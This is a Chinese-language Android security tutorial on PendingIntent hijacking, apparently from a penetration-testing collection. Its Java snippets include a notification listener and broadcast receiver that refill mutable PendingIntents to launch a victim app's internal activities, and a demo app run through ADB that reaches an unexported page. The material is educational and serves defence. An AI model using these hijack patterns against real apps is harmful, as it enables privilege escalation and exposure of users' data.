Files
Penetration_Testing_POC/books/Android移动安全第九章_PendingIntent安全.md

18 KiB
Raw Permalink Blame History

Android移动安全第九章_PendingIntent安全

QIANXIN Team 来源:https://forum.butian.net/share/4876

系列目录:

  1. Android 组件导出安全
  2. Android Intent 安全
  3. Android Binder 服务安全
  4. Android ContentProvider 安全
  5. Android WebView 安全
  6. Android UI 欺骗与钓鱼
  7. Android Deep Link 安全
  8. Android 广播安全
  9. Android PendingIntent 安全(本章)
  10. Android 系统设置安全
  11. Android SSRF 与网络安全
  12. Android 加密与数据存储安全
  13. Android 认证与证书校验
  14. Android Zip Slip 路径遍历
  15. Android Fragment Injection
  16. Android SELinux 与沙箱机制

1. 前言

前面几章讲的 Intent、广播、组件导出,都是"直接调用"——调用方自己发出 Intent,系统根据调用方的身份和权限决定是否放行。PendingIntent 不一样,它是"间接调用"。

PendingIntent 的工作方式是:App A 创建一个 PendingIntent,把它交给 App B(或系统)。当 B 在未来某个时刻触发这个 PendingIntent 时,系统以 A 的身份和权限来执行其中的 Intent,而不是以 B 的身份。

这个机制在 Android 中使用非常广泛:

  • 通知(Notification):App 创建通知时,把点击后要执行的操作包装成 PendingIntent 交给系统通知服务。用户点击通知时,系统代替 App 执行这个操作
  • 闹钟(AlarmManager):App 设置定时任务时,把到时间后要执行的操作包装成 PendingIntent 交给 AlarmManager
  • 桌面小部件(AppWidget):小部件的点击事件通过 PendingIntent 传递给 App 处理

问题在于:如果 App A 创建的 PendingIntent 中的 Intent 是"空的"或"不完整的",拿到这个 PendingIntent 的 App B 可以往里面填充内容,然后触发执行——执行时用的是 A 的身份和权限。这就是 PendingIntent 劫持的基本原理。


2. PendingIntent 基础

2.1 创建方式

PendingIntent 有三种创建方式,分别对应三种组件操作:


PendingIntent pi = PendingIntent.getActivity(context, requestCode, intent, flags);


PendingIntent pi = PendingIntent.getService(context, requestCode, intent, flags);


PendingIntent pi = PendingIntent.getBroadcast(context, requestCode, intent, flags);

参数说明:

  • context:创建者的上下文,决定了 PendingIntent 执行时使用谁的身份
  • requestCode:请求码,用于区分同一个 App 创建的不同 PendingIntent
  • intent:要执行的 Intent
  • flags:控制 PendingIntent 行为的标志位

2.2 Flags

flags 参数对安全性影响很大:

Flag 含义
FLAG_IMMUTABLE PendingIntent 创建后不可修改(Android 12+ 默认要求)
FLAG_MUTABLE PendingIntent 创建后可以被修改
FLAG_UPDATE_CURRENT 如果已存在相同的 PendingIntent,更新其中的 Intent extras
FLAG_CANCEL_CURRENT 如果已存在相同的 PendingIntent,取消旧的,创建新的
FLAG_ONE_SHOT PendingIntent 只能被使用一次

FLAG_MUTABLE 和 FLAG_IMMUTABLE 是安全方面最需要关注的。FLAG_MUTABLE 意味着拿到 PendingIntent 的一方可以修改其中 Intent 的内容(通过 send(Context, int, Intent) 方法传入额外的 Intent 来填充)。

2.3 身份委托机制

PendingIntent 的核心特性是身份委托。用一个例子说明:


Intent intent = new Intent(this, InternalActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_MUTABLE);


当 App B 调用 pi.send() 时,系统以 App A 的身份(UID 1000)执行 Intent。即使 InternalActivity 是 App A 的未导出组件,也能被成功启动——因为执行者的身份是 A 自己。

这就是为什么 PendingIntent 是权限提升的入口:普通 App 拿到系统 App 创建的 PendingIntent 后,可以借用系统 App 的身份执行操作。


3. PendingIntent 劫持

3.1 隐式 Intent 的 PendingIntent

最经典的 PendingIntent 劫持场景是:创建者使用隐式 Intent(不指定目标组件)来构造 PendingIntent。


Intent intent = new Intent("com.example.ACTION_PROCESS");
intent.putExtra("token", "secret_token_123");
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
    PendingIntent.FLAG_MUTABLE);

这个 PendingIntent 被触发时,系统会把广播发给所有注册了 com.example.ACTION_PROCESS 的 Receiver。攻击者注册一个匹配的 Receiver 就能收到广播,获取其中的 token。

更严重的是,如果 PendingIntent 是 FLAG_MUTABLE 的,攻击者拿到它之后可以修改 Intent 的目标:


Intent fillIntent = new Intent();
fillIntent.setClassName("com.victim.app", "com.victim.app.InternalActivity");
pendingIntent.send(context, 0, fillIntent);

3.2 空 Intent 的 PendingIntent

比隐式 Intent 更危险的是空 Intent。有些开发者创建 PendingIntent 时传入一个空的 Intent,打算后续再填充:


PendingIntent pi = PendingIntent.getActivity(context, 0,
    new Intent(), PendingIntent.FLAG_MUTABLE);

拿到这个 PendingIntent 的任何一方都可以完全控制 Intent 的内容——action、component、data、extras 全部可以填充。执行时使用的是创建者的身份和权限。

3.3 通知中的 PendingIntent 泄露

通知是 PendingIntent 最常见的使用场景,也是泄露的高发区。App 创建通知时,把 PendingIntent 交给系统的 NotificationManager。如果通知可以被其他 App 读取(通过 NotificationListenerService),其中的 PendingIntent 就可能被提取出来。

NotificationListenerService 是 Android 提供的一个系统服务,允许 App 在用户授权后监听所有通知。用户在"设置 → 通知访问权限"中授权后,App 就能读取所有通知的内容,包括其中的 PendingIntent。


public class NotifListener extends NotificationListenerService {
    @Override
    public void onNotificationPosted(StatusBarNotification sbn) {
        Notification notification = sbn.getNotification();
        PendingIntent contentIntent = notification.contentIntent;
        if (contentIntent != null) {
            
            
            try {
                Intent fillIntent = new Intent();
                fillIntent.setClassName("com.victim.app",
                    "com.victim.app.InternalSettingsActivity");
                contentIntent.send(context, 0, fillIntent);
            } catch (PendingIntent.CanceledException e) {
                
            }
        }
    }
}

3.4 BroadcastReceiver 中的 PendingIntent

有些 App 通过广播传递 PendingIntent,让接收方在处理完某些逻辑后回调。如果广播是隐式的,攻击者可以注册 Receiver 截获广播,拿到其中的 PendingIntent


Intent callbackIntent = new Intent(this, CallbackReceiver.class);
PendingIntent callback = PendingIntent.getBroadcast(this, 0,
    callbackIntent, PendingIntent.FLAG_MUTABLE);

Intent broadcastIntent = new Intent("com.example.ACTION_REQUEST");
broadcastIntent.putExtra("callback", callback);
sendBroadcast(broadcastIntent);  

攻击者收到广播后,提取 PendingIntent 并修改后执行:

public class AttackReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        PendingIntent callback = intent.getParcelableExtra("callback");
        if (callback != null) {
            Intent fill = new Intent();
            fill.setClassName("com.victim.app",
                "com.victim.app.AdminActivity");
            try {
                callback.send(context, 0, fill);
            } catch (PendingIntent.CanceledException e) {}
        }
    }
}

4. FLAG_MUTABLE 与 FLAG_IMMUTABLE

4.1 可变性的影响

PendingIntent 的可变性(mutability)决定了它被传递给其他方后是否可以被修改。

FLAG_MUTABLE 的 PendingIntent,接收方可以通过 send(Context, int, Intent) 传入一个 fillIntent 来修改原始 Intent 的内容。fillIntent 中设置的字段会覆盖或补充原始 Intent:


Intent intent = new Intent("com.example.ACTION_VIEW");
PendingIntent pi = PendingIntent.getActivity(context, 0, intent,
    PendingIntent.FLAG_MUTABLE);


Intent fillIntent = new Intent();
fillIntent.setComponent(new ComponentName("com.victim.app",
    "com.victim.app.SecretActivity"));
pi.send(context, 0, fillIntent);

FLAG_IMMUTABLE 的 PendingIntent 则不允许修改。接收方调用 send() 时传入的 fillIntent 会被忽略(extras 除外——如果原始 Intent 中没有设置某个 extra keyfillIntent 中的对应 key 仍然会被合并进去)。

4.2 什么时候需要 FLAG_MUTABLE

有些场景确实需要 FLAG_MUTABLE

  • 内联回复通知(Direct Reply):系统需要把用户输入的文本填充到 PendingIntent 的 extras 中
  • AlarmManager.setExact() 配合使用时,某些系统版本要求 PendingIntent 可变
  • 需要和 PendingIntent.FLAG_UPDATE_CURRENT 配合更新 extras

但大多数场景下,FLAG_IMMUTABLE 就够了。如果不确定,优先使用 FLAG_IMMUTABLE。

4.3 Android 12 的强制要求

Android 12API 31)开始,创建 PendingIntent 时必须显式指定 FLAG_MUTABLE 或 FLAG_IMMUTABLE,否则会抛出异常:

java.lang.IllegalArgumentException: Targeting S+ (version 31 and above)
requires that one of FLAG_IMMUTABLE or FLAG_MUTABLE be specified when
creating a PendingIntent.

这个改动强制开发者思考 PendingIntent 是否需要可变。但它不能阻止开发者为了省事直接加 FLAG_MUTABLE。


5. 实际攻击场景

5.1 LaunchAnywhere

LaunchAnywhere 是 PendingIntent 劫持的一个经典利用模式,最早在 Android 系统的 AccountManagerService 中被发现。

AccountManagerService 在处理添加账户的流程中,会向第三方 Authenticator App 发送一个 PendingIntent(通过 AccountAuthenticatorResponse)。如果 Authenticator 返回的结果中包含一个 KEY_INTENTAccountManagerService 会用自己的身份(system_serverUID 1000)启动这个 Intent。

攻击流程:

  1. 恶意 App 注册一个自定义的 AccountAuthenticator
  2. 调用 AccountManager.addAccount() 触发添加账户流程
  3. 系统调用恶意 App 的 Authenticator
  4. Authenticator 在返回结果中放入一个指向系统内部组件的 Intent
  5. AccountManagerService 以 system 身份启动这个 Intent

这个漏洞的本质是:系统服务信任了第三方 App 提供的 Intent,并以自己的高权限身份执行。后续 Android 版本通过检查返回的 Intent 的目标组件是否属于调用者来修复了这个问题。

5.2 通知劫持提权

一个更常见的场景:系统 App 创建通知时使用了 FLAG_MUTABLE 的 PendingIntent,且 Intent 不够具体(没有指定 component)。


Intent intent = new Intent("com.system.ACTION_SETTINGS");
PendingIntent pi = PendingIntent.getActivity(this, 0, intent,
    PendingIntent.FLAG_MUTABLE);

Notification notification = new Notification.Builder(this, channelId)
    .setContentTitle("系统更新")
    .setContentText("点击查看详情")
    .setContentIntent(pi)
    .build();
notificationManager.notify(1, notification);

拥有 NotificationListenerService 权限的恶意 App 可以:

  1. 监听到这条通知
  2. 提取其中的 PendingIntent
  3. 用 fillIntent 修改目标为系统内部的敏感 Activity
  4. 以系统 App 的身份启动

5.3 Widget 点击劫持

桌面小部件(AppWidget)的点击事件通过 PendingIntent 实现。AppWidgetProvider 在 onUpdate() 中为小部件的各个 View 设置 PendingIntent

RemoteViews views = new RemoteViews(context.getPackageName(),
    R.layout.widget_layout);
Intent intent = new Intent(context, WidgetClickHandler.class);
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
    PendingIntent.FLAG_MUTABLE);
views.setOnClickPendingIntent(R.id.widget_button, pi);

如果 PendingIntent 是 FLAG_MUTABLE 的,且 Intent 不够具体,Launcher App(桌面启动器)理论上可以修改 PendingIntent 的内容。虽然主流 Launcher 不会这么做,但自定义 Launcher 或恶意 Launcher 可能利用这一点。


6. 版本演进

6.1 Android 6.0API 23

引入了 PendingIntent.getCreatorPackage()PendingIntent.getCreatorUid() 方法,允许接收方查询 PendingIntent 的创建者信息。但这些信息仅供参考,不能作为安全校验的依据——恶意 App 可以创建 PendingIntent 后传递给其他 App,接收方看到的创建者是恶意 App,但执行时用的身份也是恶意 App 的,所以这个信息本身不构成安全问题。

6.2 Android 12API 31

强制要求指定 FLAG_MUTABLE 或 FLAG_IMMUTABLE。这是 PendingIntent 安全方面最重要的一次改动。

同时,Android 12 还限制了 FLAG_MUTABLE 的 PendingIntent:即使是 mutable 的,fillIntent 也不能覆盖原始 Intent 中已经设置的 component 和 action。只有原始 Intent 中未设置的字段才能被填充。


Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example", "com.example.MyActivity"));
PendingIntent pi = PendingIntent.getActivity(context, 0, intent,
    PendingIntent.FLAG_MUTABLE);


Intent fill = new Intent();
fill.setComponent(new ComponentName("com.victim", "com.victim.Secret"));
pi.send(context, 0, fill);

这个限制大幅降低了 FLAG_MUTABLE PendingIntent 的攻击面,但没有完全消除——extras 仍然可以被填充。

6.3 Android 14API 34

进一步收紧了 PendingIntent 的安全限制:

  • 对后台启动 Activity 的限制更严格,通过 PendingIntent 从后台启动 Activity 需要创建者在创建时显式授权(通过 ActivityOptions.setPendingIntentBackgroundActivityStartMode()
  • 对 PendingIntent 的 sender 身份校验更严格

7. 演示

下面用配套的演示 Appcom.demo.pendingintentsecurity)来展示 PendingIntent 劫持的效果。

Demo App 模拟了一个常见场景:App 发送通知时,PendingIntent 指向一个中转 ActivityDispatchActivity),该 Activity 根据 extras 中的 target_class 决定跳转目标。原始 Intent 没有设置 target_class,正常情况下跳转到默认页面。但因为 PendingIntent 使用了 FLAG_MUTABLE,攻击者可以通过 fillIntent 注入 target_class extra,控制跳转到任意内部组件。

7.1 创建不安全的通知

VulnNotificationActivity 创建通知时使用了 FLAG_MUTABLE 的 PendingIntent


Intent intent = new Intent(this, DispatchActivity.class);

PendingIntent pi = PendingIntent.getActivity(this, 0, intent,
    PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);

DispatchActivity 根据 extras 决定跳转:

String targetClass = getIntent().getStringExtra("target_class");
if (targetClass != null) {
    Intent intent = new Intent();
    intent.setClassName(getPackageName(), targetClass);
    startActivity(intent);  
} else {
    startActivity(new Intent(this, MainActivity.class));  
}

通过 ADB 发送通知:

adb shell am start -n com.demo.pendingintentsecurity/.VulnNotificationActivity

logcat 输出:

W VulnNotification: 通知已发送
W VulnNotification: PendingIntent: 显式 Intent  DispatchActivity, FLAG_MUTABLE
W VulnNotification: 原始 Intent 未设置 target_class,正常跳转到默认页面
W VulnNotification:  FLAG_MUTABLE 允许 fillIntent 注入 target_class extra

7.2 执行劫持

HijackDemoActivity 模拟攻击者的行为——获取到通知中的 mutable PendingIntent 后,通过 fillIntent 注入 target_class extra


Intent originalIntent = new Intent(this, DispatchActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, originalIntent,
    PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_NO_CREATE);


Intent fillIntent = new Intent();
fillIntent.putExtra("target_class",
    "com.demo.pendingintentsecurity.InternalSecretActivity");
pi.send(context, 0, fillIntent);

通过 ADB 触发劫持:

adb shell am start -n com.demo.pendingintentsecurity/.HijackDemoActivity \
    --ez auto_start true

logcat 输出:

W HijackDemo: 成功获取到已有的 mutable PendingIntent
W HijackDemo: 劫持成功:注入 target_class=InternalSecretActivity
W HijackDemo: DispatchActivity 将跳转到未导出的内部组件
W DispatchActivity: 收到 target_class: com.demo.pendingintentsecurity.InternalSecretActivity
W DispatchActivity: 已跳转到: com.demo.pendingintentsecurity.InternalSecretActivity
W InternalSecret: InternalSecretActivity 被通过 PendingIntent 劫持启动
W InternalSecret: 内部机密页面已打开,敏感数据已暴露

InternalSecretActivity 是 exported=false 的内部组件,正常情况下外部无法启动。但攻击者通过 fillIntent 向 mutable PendingIntent 注入了 target_class extraDispatchActivity 读取后跳转到了内部机密页面:

demo9_hijack.png

如果这个 PendingIntent 使用 FLAG_IMMUTABLEfillIntent 中的 extras 不会被合并到原始 Intent 中(原始 Intent 未设置的 key 除外的规则在 Android 12+ 上有变化,但 FLAG_IMMUTABLE 从根本上阻止了修改),攻击就无法成功。


8. 总结

PendingIntent 的安全问题围绕"身份委托"展开。创建者把自己的执行权限包装进 PendingIntent 交给其他方,如果 PendingIntent 是可变的且 Intent 不够具体,接收方就能借用创建者的身份执行任意操作。

回顾一下:

  • PendingIntent 以创建者的身份执行,不是触发者的身份
  • FLAG_MUTABLE 允许接收方修改 Intent 内容,是劫持的前提
  • 隐式 Intent 或空 Intent 的 PendingIntent 攻击面最大
  • 通知、广播回调、Widget 是 PendingIntent 泄露的常见渠道
  • Android 12 强制要求声明 mutability,并限制了 fillIntent 对已设置字段的覆盖
  • Android 14 进一步限制了通过 PendingIntent 从后台启动 Activity

下一章讲 Android 系统设置安全。Settings.System、Settings.Secure、Settings.Global 这三个命名空间存储了设备的各种配置,部分设置项的读写权限控制不够严格,可能被第三方 App 利用来修改设备行为。